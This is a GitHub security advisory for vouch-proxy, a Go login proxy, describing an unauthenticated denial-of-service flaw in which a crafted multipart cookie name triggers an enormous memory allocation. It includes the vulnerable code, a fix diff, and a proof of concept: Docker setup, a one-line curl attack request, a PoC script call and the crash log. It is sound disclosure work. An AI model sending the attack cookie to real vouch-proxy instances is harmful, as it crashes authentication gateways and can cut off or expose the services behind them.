GitHub Advisoryadvisory · Go

GHSA-qqff-5854-px68 vouch-proxy has an Unbounded Multipart Cookie Allocation DoS

HIGH Published 2026-08-20 Modified 2026-08-20 Official page ↗
Aliases
CVE-2026-55149
Ecosystem
Go
Packages
github.com/vouch/vouch-proxy
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-789
Reviewed
2026-08-20

Affected packages

• Go github.com/vouch/vouch-proxy: < 0.48.0 → fixed in 0.48.0

Description

Unbounded Multipart Cookie Allocation DoS in vouch-proxy Summary vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required. Details The vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie: ```go // pkg/cookie/cookie.go:123–130 xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) xyArray := strings.Split(xOFy, "of") if numParts == -1 { if numParts, err = strconv.Atoi(xyArray[1]); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } cookieParts = make([]string, numParts) // sink: unbounded allocation } ``` The value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call. The complete exploit path from network entry to crash: 1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`. 2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` before any authentication check. 3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`. 4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header. 5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `"of"`. 6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total. 7. `pkg/cookie/cookie.go:130` — sink: `make([]string, numParts)` attempts a gigantic heap allocation. Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed. A suggested remediation is to add a strict upper bound and format validation before the allocation: ```diff --- a/pkg/cookie/cookie.go +++ b/pkg/cookie/cookie.go @@ const maxCookieSize = 4000 +const maxCookieParts = 32 @@ • xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) • xyArray := strings.Split(xOFy, "of") + xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) + partStr, totalStr, ok := strings.Cut(xOFy, "of") + if !ok || partStr == "" || totalStr == "" { + return "", fmt.Errorf("multipart cookie fail: invalid cookie part name") + } if numParts == -1 { • if numParts, err = strconv.Atoi(xyArray[1]); err != nil { + if numParts, err = strconv.Atoi(totalStr); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } + if numParts maxCookieParts { + return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts) + } cookieParts = make([]string, numParts) } ``` PoC Environment setup Build the vulnerable image from source (requires the vouch-proxy repository at the path below): ```bash docker build \ -f vuln-001/Dockerfile \ -t vouch-vuln001 \ repo ``` Start the container (no memory limit is imposed; the Go runtime itself fails the allocation): ```bash docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001 ``` Wait for the server to respond to a baseline request (expected HTTP 302 or similar): ```bash curl -v http://127.0.0.1:19090/validate ``` Attack request Send a single unauthenticated HTTP GET with the malicious cookie name: ```bash curl -v http://127.0.0.1:19090/validate \ -H 'Host: app.example.com' \ -H 'Cookie: VouchCookie_1of10000000000=x' ``` Alternatively, run the automated PoC script: ```bash python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000 ``` Expected result The server process crashes immediately with a Go runtime fatal error. Container logs show: ``` fatal error: runtime: out of memory runtime.makeslice(0x0?, 0x0?, 0x0?) /usr/local/go/src/runtime/slice.go:117 github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...) /src/pkg/cookie/cookie.go:130 github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...) /src/pkg/jwtmanager/jwtmanager.go:228 main.main.JWTCacheHandler.func1(...) /src/pkg/jwtmanager/jwtcache.go:54 ``` The container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run. Minimal configuration (no real OAuth provider required): ```yaml vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains: • vouch.github.io oauth: provider: indieauth client_id: http://vouch.github.io auth_url: https://indielogin.com/auth callback_url: http://vouch.github.io:9090/auth ``` Impact This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected. An attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed. No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints. Reproduction artifacts `Dockerfile` ```dockerfile VULN-001 — Unbounded Multipart Cookie Allocation DoS vouch/vouch-proxy v0.47.2 (commit b683f60) Attack: GET /validate with Cookie: VouchCookie_1of=x -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total -> make([]string, ) triggers an immediate OOM fatal in the Go runtime -> Server process crashes; no authentication required Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001 ---------- Stage 1: compile vouch-proxy from source ---------- FROM golang:1.26 AS builder WORKDIR /src COPY . . Build a statically linked binary; skip do.sh which requires live git tags. Version ldflags are pinned to the affected commit for reproducibility. RUN CGO_ENABLED=0 GOOS=linux \ go build -v \ -ldflags="-s -w \ -X main.version=b683f60 \ -X main.uname=linux \ -X main.builddt=2024-01-01T00:00:00Z \ -X main.host=vuln-poc \ -X main.semver=v0.47.2 \ -X main.branch=main" \ -o /vouch-proxy . ---------- Stage 2: minimal runtime image ---------- FROM debian:bookworm-slim RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates && \ rm -rf /var/lib/apt/lists/* COPY --from=builder /vouch-proxy /vouch-proxy Minimal config: allowAllUsers so startup succeeds without real OAuth, default cookie name VouchCookie matches the PoC payload. RUN mkdir -p /config && cat > /config/config.yml << 'EOF…

Related

Alias · CVE (1)

  • CVE-2026-55149 Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. vulnerability

Weakness · CWE (1)

  • CWE-789 Memory Allocation with Excessive Size Value weakness

References